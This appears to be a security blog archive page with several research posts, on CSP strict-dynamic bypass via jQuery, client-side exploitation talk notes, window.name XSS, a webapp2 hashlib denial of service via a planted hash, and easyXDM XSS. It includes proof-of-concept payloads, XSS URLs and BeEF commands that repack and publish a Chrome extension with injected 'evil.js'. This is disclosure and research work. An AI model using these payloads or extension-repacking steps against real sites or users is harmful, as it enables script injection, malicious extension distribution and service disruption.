Tuesday, June 28, 2016

Reflections on trusting CSP

Tldr; new changes in CSP sweep a huge number of the vulns, yet they enable new bypasses. Internet lives on, ignoring CSP.

Let’s talk about CSP today:
Content Security Policy (CSP) - a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

Assume XSS, mkay?

CSP is a defense-in-depth web feature that aims to mitigate XSS (for simplicity, let’s ignore other types of vulnerabilities CSP struggles with). Therefore in the discussion we can safely assume there is an XSS flaw in the first place in an application (otherwise, CSP is a no-op).

With this assumption, effective CSP is one that stops the XSS attacks while allowing execution of legitimate JS code. For any complex website, the legitimate code is either:
  • application-specific code, implementing its business logic, or
  • code of its dependencies (frameworks, libraries, 3rd party widgets)
Let’s see how CSP deals with both of them separately.

Just let me run my code!

When CSP was created, the XSS was mostly caused by reflecting user input in the response (reflected XSS). The first attempt at solving this with CSP was then to move every JS snippet from HTML to a separate resource and disable inline script execution (as those are most likely XSS payloads reflected by the vulnerable application). In addition to providing security benefits, it also encouraged refactoring the applications (e.g. transitioning from spaghetti-code to MVC paradigms or separating the behavior from the view; this was hip at that time).

Of course, this put a burden on application developers, as inline styles and scripts were prevalent back then - in the end almost noone used CSP. And so ‘unsafe-inline’ source expression was created. With it, it allowed the developers to use CSP without the security it provides (as now the attacker could again inject code through reflected XSS).

Introducing insecurity into a security feature to ease adoption is an interesting approach, but at least it’s documented:
In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.
That’s why this new expression used the unsafe- prefix. If you’re opting out of security benefits, at least you’re aware of it. Later on this was made secure again when nonces were introduced. From then on, script-src 'unsafe-inline' 'nonce-12345' would only allow inline scripts if the nonce attribute had a given value.

Unless the attacker knew the nonce (or the reflection was in the body of a nonced script), their XSS payload would be stopped. Developers then had a way to use inline scripts in a safe fashion. 

But what about my dependencies?

Most of the application dependencies were hosted on CDNs, and had to continue working after CSP was enabled in the application. CSP allowed developers to specify allowed URLs / paths and origins, from which the scripts could be loaded. Anything not on the whitelist would be stopped.

By using the whitelist in CSP you effectively declared that you trusted whatever scripts were there on it. You might not have the control over it (e.g. it’s not sourced from your servers), but you trust it - and it had to be listed explicitly.

Obviously, there were a bunch of bypasses (remember, we assume the XSS flaw is present!) - for one, a lot of CDNs are hosting libraries that execute JS from the page markup, rendering CSP useless as long as certain CDNs are whitelisted. There were also different bypasses related to path & redirections (CSP Oddities presentation summarizes those bypasses in a great way).

In short, it was a mess - also for maintenance. For example, this is a script-src from Gmail:
script-src https://clients4.google.com/insights/consumersurveys/ 'self' 'unsafe-inline' 'unsafe-eval' https://mail.google.com/_/scs/mail-static/ https://hangouts.google.com/ https://talkgadget.google.com/ https://*.talkgadget.google.com/ https://www.googleapis.com/appsmarket/v2/installedApps/ https://www-gm-opensocial.googleusercontent.com/gadgets/js/ https://docs.google.com/static/doclist/client/js/ https://www.google.com/tools/feedback/ https://s.ytimg.com/yts/jsbin/ https://www.youtube.com/iframe_api https://ssl.google-analytics.com/ https://apis.google.com/_/scs/abc-static/ https://apis.google.com/js/ https://clients1.google.com/complete/ https://apis.google.com/_/scs/apps-static/_/js/ https://ssl.gstatic.com/inputtools/js/ https://ssl.gstatic.com/cloudsearch/static/o/js/ https://www.gstatic.com/feedback/js/ https://www.gstatic.com/common_sharing/static/client/js/ https://www.gstatic.com/og/_/js/

Why so many sources? Well, if a certain script from, say https://talkgadget.google.com/ loads a new script, it needs to be whitelisted too.

There are various quirks and bypasses with this type of CSP, but at least it’s explicit. If a feature is unsafe, it’s marked as so, together with the trust I put into all other origins - and that trust is not transitive. Obviously, at the same time it’s very hard to adopt and maintain such a CSP for a given application, especially if your dependencies change their code.

The solution for that problem was recently proposed in the form of strict-dynamic source expression. 

Let's be strict!

What’s strict-dynamic? Let’s look at the CSP spec itself:
The "'strict-dynamic'" source expression aims to make Content Security Policy simpler to deploy for existing applications who have a high degree of confidence in the scripts they load directly, but low confidence in their ability to provide a reasonably secure whitelist. 
If present in a script-src or default-src directive, it has two main effects: 
1. host-source and scheme-source expressions, as well as the "'unsafe-inline'" and "'self' keyword-sources will be ignored when loading script.
2. hash-source and nonce-source expressions will be honored. Script requests which are triggered by non-parser-inserted script elements are allowed.

The first change allows you to deploy "'strict-dynamic' in a backwards compatible way, without requiring user-agent sniffing: the policy 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' will act like 'unsafe-inline' https: in browsers that support CSP1, https: 'nonce-abcdefg' in browsers that support CSP2, and 'nonce-abcdefg' 'strict-dynamic' in browsers that support CSP3. 
The second allows scripts which are given access to the page via nonces or hashes to bring in their dependencies without adding them explicitly to the page’s policy.
While it might not be obvious from the first read, it introduces a transitive trust concept into the CSP. Strict-dynamic (in supporting browsers) turns off the whitelists completely. Now whenever an already allowed (e.g. because it carried a nonce) code creates a new script element and injects it into the DOM - its execution would not be stopped, regardless of its properties (e.g. the src attribute value or a lack of a nonce). Additionally, it could in turn create additional scripts. It’s like a tooth fairy handed off nonces to every new script element.

As a consequence, now you’re not only trusting your direct dependencies, but also implicitly assume anything they would load at runtime is fair game for your application too. By using it you’re effectively trading control for ease of maintenance.


Usefulness of CSP can be determined by its ability to stop the attack assuming there is an XSS flaw in the application. By dropping the whitelists it obviously increases the attack surface, even more so by introducing the transitive trust.

On the other hand, it facilitates adopting a CSP policy that uses nonces. Enabling that, it mitigates a large chunk of reflected XSS flaws, as the injection point would have to be present inside a script element to execute (which is, I think, a rare occurrence). Unfortunately, DOM XSS flaws are much more common nowadays.

For DOM XSS flaws, strict-dynamic CSP would be worse than “legacy” CSP any time a code could be tricked into creating an attacker-controlled script (as old CSP would block it, but the new one would not). Unfortunately, such a flaw is likely present in a large number of applications. For example, here’s an exemplary exploit for applications using JQuery <3.0.0 using this vuln.
<!DOCTYPE html>
  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline' 
      'nonce-booboo' 'strict-dynamic'"> 
  <script nonce='booboo' src="https://code.jquery.com/jquery-2.2.4.js" ></script>
<script nonce=booboo> 
// Patched in jQuery 3.0.0
// See https://github.com/jquery/jquery/issues/2432
// https://www.w3.org/TR/CSP3/#strict-dynamic-usage 
$(function() { 
   // URL control in $.get / $.post is a CSP bypass 
   // for CSP policies using strict-dynamic. 
   $.get('data:text/javascript,"use strict"%0d%0aalert(document.domain)');

Try it out (requires Chrome 52): https://plnkr.co/edit/x9d0ClcWOrl3tUd33oZR?p=preview

JQuery has a market share of over 96%, so it’s not hard to imagine a large number of applications using $.get / $.post with controlled URLs. For those, strict-dynamic policies are trivially bypassable.


It was already demonstrated we can’t effectively understand and control what’s available in the CDNs we trust in our CSPs (so we can’t even maintain the whitelists we trust). How come losing control and making the trust transitive is a solution here?

At the very least, these tradeoffs should be expressed by using an unsafe- prefix. In fact, it used to be called unsafe-dynamic, but that was dropped recently. So now we have a strict-* expression that likely enabled bypasses that were not present with oldschool CSP. All that to ease adoption of a security mitigation. Sigh :/

Thursday, July 31, 2014

JS crypto goto fail?

tldr; A long, passionate discussion about JS crypto. Use slides for an overview.

Javascript cryptography is on the rise. What used to be a rich source of vulnerabilities and regarded as "not a serious research area", suddenly becomes used by many. Over the last few years, there was a serious effort to develop libraries implementing cryptographic primitives and protocols in JS. So now we have at least:
On top of that, there's a lot of fresh, new user-facing applications (Whiteout.IOKeybase.io, miniLock to name just the fancy ones on .io domains).  JS crypto is used in websites, browser extensions, and server side-applications - whether we like it or not. It is time to look again at the challenges and limits of crunching secret numbers in Javascript.

Saturday, March 22, 2014

When you don't have 0days. Client-side exploitation for the masses

Yesterday me and @antisnatchor gave a talk at Insomni'hack entitled "When you don't have 0days. Client-side exploitation for the masses". We described different tricks that one can use during a pentesting assignment to achieve goals without burning any of those precious 0days.

The tricks included the new Chrome extension exploitation tools ported recently to BeEF (by yours truly and @antisnatchor), HTA (HTML applications), Office macros, abusing UI expectations in IE, and some tricks with Java applets running on older Java. Mosquito was also demonstrated. Without further ado, here are the slides:

When you don't have 0days: client-side exploitation for the masses from Michele Orru

All the video links for the demos are on the slides, the code is public and landed in BeEF in tools/ subdirectory. The gist of the Chrome extensions part: you can now clone an arbitrary Chrome extension, add any code to it, and publish it back as your extension by doing:

$ cd beef/tools/chrome_extension_exploitation/
$ injector/repacker-webstore.sh <original-ext-id> zip 
repacked.zip evil.js “evil-permissions”
$ ruby webstore_uploader/webstore_upload.rb repacked.zip publish


Monday, January 13, 2014

XSSing with Shakespeare: Name-calling easyXDM

tl;dr: window.name, DOM XSS & abusing Objects used as containers

What's in a name?

"What's in a name? That which we call a rose
By any other name would smell as sweet"
(Romeo & Juliet, Act II, Scene 2)

While Juliet probably was a pretty smart girl, this time she got it wrong. There is something special in a name. At least in window.name. For example, it can ignore Same Origin Policy restrictions. Documents from https://example.com and https://foo.bar are isolated from each other, but they can "speak" through window.name.

Since name is special for Same Origin Policy, it must have some evil usage, right? Right - the cutest one is that eval(name)is the shortest XSS payload loader so far:
  • create a window/frame
  • put the payload in it's name
  • just load http://vuln/?xss="><script>eval(name)</script>.
But that's old news (I think it was Gareth's trick, correct me if I'm wrong). This time I'll focus on exploiting software that uses window.name for legitimate purposes. A fun practical challenge (found by accident, srsly)!

Friday, December 27, 2013

Rapportive XSSes Gmail or have yourself a merry little botnet...

tldr: Learn how to code audit Handlebars applications. Xss in extension = fun times. Mosquito gets new features.

It's that magical time of the year, when wonders happen... Everyone's getting big presents. I was apparently naughty, cause I only got one XSS. What can one do? If life gives you lemons...

you make a lemonade. And I don't mean Google juice - it does not qualify.

But XSS on Gmail?!

You see, the code executing on mail.google.com domain is not always the one belonging to Google, subject to their bug bounty. Unfortunately, there's much, much code coming from all other domains too, that does not come close to Google quality. I'm of course talking about browser extensions. I've been researching this subject for two years now, with quite a few results, and if I had to sum it all up in one sentence it would be:

Browser extensions are badly coded, can affect your website with their vulnerabilities and there's nothing you can do about it.

And this is exactly the case here: We have a top-notch Gmail application and a very popular extension that reduces Gmail to a lousy PHPBB-like forum full of XSSes. But this time, I decided to push the matter forward and demonstrate what's possible when one can execute JS in Gmail origin. But first, let me introduce you to our today's hero, Rapportive.

Monday, December 16, 2013

Breaking Google AppEngine webapp2 applications with a single hash

What's this, you think?


It's easy to tell that this is a salted password hash, using sha1 as the hashing algorithm. What do you do with it? You crack it, obviously!

No wonder that when talking about password hashes security, we usually only consider salt length, using salt & pepper or speed of the algorithm. We speculate their resistance to offline bruteforcing. In other words, we're trying to answer the question "how f^*$d are we when the attacker gets to read our hashes". Granted, these issues are extremely important, but there are others.

A weird assumption

Today, we'll speculate what can be done when the attacker gets to supply you with a password hash like above.

Who would ever allow the user to submit a password hash, you ask? Well, for example Wordpress did and had a DoS because of that. It's just bound to happen from time to time (and it's not the point of this blog post anyway), Let's just assume this is the case - for example, someone wrote a malicious hash in your DB.

Introducing the culprit

We need to have some code to work on. Let's jump on the cloud bandwagon and take a look at Google AppEngine. For Python applications, Google suggests webapp2. Fine with me, let's do it!

When authenticating users in webapp2, you can just make them use Google Accounts and rely on OAuth, but you can also manage your users accounts & passwords on your own. Of course, passwords are then salted and hashed - you can see the example hash at the beginning of this post. For hashing, webapp2 security module uses a standard Python module, hashlib.

Authenticating in webapp2

When does webapp2 application process a hash? Usually, when authenticating. For example, if user ba_baracus submits a password ipitythefool, application:
  1. Finds the record for user ba_baracus
  2. Extracts his password hash: 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2$sha1$1FsWaTxdaa5i
  3. Parses it, extracting the random salt (1FsWaTxdaa5i) and algorithm (sha1)
  4. Calculates sha1 hash of ipitythefool, combined with the salt (e.g. uses hmac with salt as a key)
  5. Compares the result with 07667c4d55d8d81a0f0ac47b2edba75cb948d3a2. Sorry, Mr T, password incorrect this time!

1 and 2 happen in User.get_by_auth_password() 3 to 5 in in webapp2_extras.security.check_password_hash():
def check_password_hash(password, pwhash, pepper=None):
    """Checks a password against a given salted and hashed password value.

    In order to support unsalted legacy passwords this method supports
    plain text passwords, md5 and sha1 hashes (both salted and unsalted).

    :param password:
        The plaintext password to compare against the hash.
    :param pwhash:
        A hashed string like returned by :func:`generate_password_hash`.
    :param pepper:
        A secret constant stored in the application code.
        `True` if the password matched, `False` otherwise.

    This function was ported and adapted from `Werkzeug`_.
    if pwhash.count('$') < 2:
        return False

    hashval, method, salt = pwhash.split('$', 2)
    return hash_password(password, method, salt, pepper) == hashval

def hash_password(password, method, salt=None, pepper=None):
    """Hashes a password.

    Supports plaintext without salt, unsalted and salted passwords. In case
    salted passwords are used hmac is used.

    :param password:
        The password to be hashed.
    :param method:
        A method from ``hashlib``, e.g., `sha1` or `md5`, or `plain`.
    :param salt:
        A random salt string.
    :param pepper:
        A secret constant stored in the application code.
        A hashed password.

    This function was ported and adapted from `Werkzeug`_.
    password = webapp2._to_utf8(password)
    if method == 'plain':
        return password

    method = getattr(hashlib, method, None)
    if not method:
        return None

    if salt:
        h = hmac.new(webapp2._to_utf8(salt), password, method)
        h = method(password)

    if pepper:
        h = hmac.new(webapp2._to_utf8(pepper), h.hexdigest(), method)

    return h.hexdigest()
So, during authentication, we control pwhash (it's our planted hash), and password. What harm can we do? First, a little hashlib 101:

Back to school

How does one use hashlib? First, you create an object with a specified algorithm:
new(name, string='') - returns a new hash object implementing the
                       given hash function; initializing the hash
                       using the given string data.

Named constructor functions are also available, these are much faster
than using new():

md5(), sha1(), sha224(), sha256(), sha384(), and sha512()
Then you just fill it with string to hash, using update() method (you can also pass the string directly to the constructor), and later on use e.g. hexdigest() to extract the hash. Very simple:
>>> import hashlib
>>> hashlib.md5('a string').hexdigest()
>>> hashlib.new('md5','a string').hexdigest()

Webapp2 uses getattr(hashlib, method)(password).hexdigest(), and we control both method and password.

Granted, the construct does its job. Installed algorithms work, NoneType error is thrown for non supported algorithms, and the hash is correct:
>>> getattr(hashlib, 'md5', None)('hash_me').hexdigest()
>>> getattr(hashlib, 'sha1', None)('hash_me').hexdigest()
>>> getattr(hashlib, 'nonexisting', None)('hash_me').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'NoneType' object is not callable

It's a kind of magic!

There is a slight problem with this approach though - magic methods. Even a simple __dir__ gives us a hint that there's quite a few additional, magic methods:
>>> dir(hashlib)
['__all__', '__builtins__', '__doc__', '__file__', '__get_builtin_constructor', '__name__', '__package__', '_hashlib', 'algorithms', 'md5', 'new', 'sha1', 'sha224', 'sha256', 'sha384', 'sha512']
which means, for example, that if arbitrary strings can be passed as 2nd attribute to getattr(), there's much more than NoneType error that can happen:
>>> getattr(hashlib, '__name__')()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'str' object is not callable
>>> getattr(hashlib, '__class__')
<type 'module'>
>>> getattr(hashlib, '__class__')('hash_me')
<module 'hash_me' (built-in)>
>>> getattr(hashlib, 'new')('md5').hexdigest()
'd41d8cd98f00b204e9800998ecf8427e' # this is actually md5 of ''
That last bit is kewl - you can plant a hash format: md5_of_empty_string$new$ and the correct password is... md5!

Final act

__class__ may have a class, but __delattr__ is the real gangster!
>>> import hashlib
>>> hashlib.sha1
<built-in function="" openssl_sha1="">
>>> getattr(hashlib, '__delattr__')('sha1').hexdigest()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'hexdigest'
>>> hashlib.sha1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'module' object has no attribute 'sha1'

Ladies and gentlemen, we just broke a Google AppEngine webapp2 application with a single hash! We just deleted the whole hashlib.sha1 function, and all subsequent hash comparison will be invalid! In other words, no user in this application instance with sha1 hash will be able to authenticate. Plus, we broke session cookies as well, as session cookies use hashlib.sha1 for signature (but that's another story). As this is not a PHP serve-one-request-and-die model, but a full-blown web application, this corrupted hashlib will live until application has shut down and gets restarted (methinks, at least that's the behavior I observed). After that, you can still retrigger that vuln by authenticating again!


Disclaimer: This is tracked with issue #87Only applications that allow the user to write a hash somehow are vulnerable (and this setup is probably exotic). But getattr(hashlib, something-from-user) construct is very popular, so feel free to find a similar vulnerability elsewhere:

Tuesday, October 15, 2013

Exploiting EasyXDM part 2: & considered harmful

tldr: URL parsing is hard, always encode stuff and Safari has some interesting properties...

This is a second post describing easyXDM vulnerabilities. Reading the first part might come in handy:


"EasyXDM is a Javascript library that enables you as a developer to easily work around the limitation set in place by the Same Origin Policy, in turn making it easy to communicate and expose javascript API’s across domain boundaries". Vulnerabilities were found in 2.4.16 version, and are patched in 2.4.18. They are tracked with a single CVE-2013-5212.

In first post I've described XSS vulnerability in Flash transport used by that library, however the exploit conditions were very limiting. On websites using easyXDM the following code (used e.g. to set up RPC endpoints):
<script type="text/javascript" src="easyXDM.debug.js">
<script type="text/javascript">
    var transport = new easyXDM.Socket({
        local: ".",
        swf: "easyxdm.swf",
can cause XSS when it's loaded by URL like: http://example.com?#xdm_e=https%3A%2F%2Flossssscalhost&xdm_c=default7059&xdm_p=6&xdm_s=j%5C%22-alerssst(2)))%7Dcatch(e)%7Balert(document.domain)%7D%2F%2Feheheh. That will force easyXDM to use vulnerable Flash transport and pass the injected XSS payload. However, the payload will only be used unless Flash file is set up with FlashVars parameter log=true.

Mom, where do flashvars come from?

Let's dig deeper. How is the HTML for the SWF inclusion constructed? Looking at the source code at GitHub (FlashTransport.js):
function addSwf(domain){
  // create the object/embed
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + 
      global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" +   
      getPort(global.location.href) + "&ns=" + namespace;
  // #ifdef debug
  flashVars += "&log=true";
  // #endif
  swfContainer.innerHTML = ... + "<param name='flashvars' value='" +
  flashVars +
  "'></param>" ....
This 'debug' flag is a preprocessor instruction. The #ifdef / #endif block of code will only be included in easyXDM.debug.js file:
<!-- Process pre proccesing instructions like #if/#endif etc -->
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.js"/>
<preprocess infile="work/easyXDM.combined.js" outfile="work/easyXDM.debug.js" defines="debug"/>
Exploiting easyXDM.debug.js file described in the first post was straightforward. But if production version of easyXDM library is used instead, there is no log parameter and XSS won't work. What can we do? Like always - look at the code, because code=vulns.

Thou shalt not parse URLs thyself!

In FlashVars construction code getPort and getDomainName functions are used to extract domain and port parameters from current window location (global.location). Let's see what happens with domain name (Core.js):
function getDomainName(url){
    // #ifdef debug
    if (!url) {
        throw new Error("url is undefined or empty");
    // #endif
    return url.match(reURI)[3];
It is being matched against the following regular expression:
var reURI = /^((http.?:)\/\/([^:\/\s]+)(:\d+)*)/; // returns groups for protocol (2), domain (3) and port (4)
In simpler terms - everything after httpX:// and before :digits or a / becomes a domain name. Seems solid, right? WRONG.
Among many tricks bypassing URL parsers (see e.g. kotowicz.net/absolute), HTTP authentication parameters are rarely used. But this time they fit perfectly. You see, hostname (domain name) is not the only thing that comes right after protocol. Not to bore you with RFCs, this is also a valid URL:


If our document was loaded from URL containing user credentials, getDomainName() would return user:password@host (sometimes, there are browser differences here). FlashVars, in that case, would be: 
Still, nothing interesting, but...

Honor thy Encoding and thy Context

(c) Wumo - http://kindofnormal.com/wumo/2013/10/12
In previous example we injected some characters into FlashVars string, but none of them were dangerous in that context. But as you can see:
  var flashVars = "callback=flash_loaded" + domain.replace(/[\-.]/g, "_") + "&proto=" + global.location.protocol + "&domain=" + getDomainName(global.location.href) + "&port=" + getPort(global.location.href) + "&ns=" + namespace;
Values of various parameters are not percent encoded (i.e. encodeURIComponent is not used) If we could only use & and = characters in username part, we could inject additional Flashvars. For example, loading this URL:


(the bold part is actually the username, not a domain name) would cause:
injecting our log=true parameter and triggering the exploit. But can we?

Effin phishers!

Kinda. Credentials in URL were used extensively in phishing attacks, so most current browsers don't really like them. While usually you can use = and & characters in credentials, there are serious obstacles, f.e:
  • Firefox won't return credentials at all in location.href
  • Chrome will percent encode crucial characters, including = and &
However, Safari 6 does not see a problem with loading URL like this: http://h=&ello@localhost/ and returning the same thing in location.href. So - easyXDM 2.4.16 is XSS exploitable in Safari 6 and possibly in some other obscure or ancient browsers. In Safari due to effing phishers using credentials in URL will trigger a phishing warning, so the user must confirm the navigation. Well, Sad Panda^2. But still - it's an easyXDM universal XSS on a popular browser with limited user interaction.


  • Always use context aware encoding!
  • Don't parse URLs manually!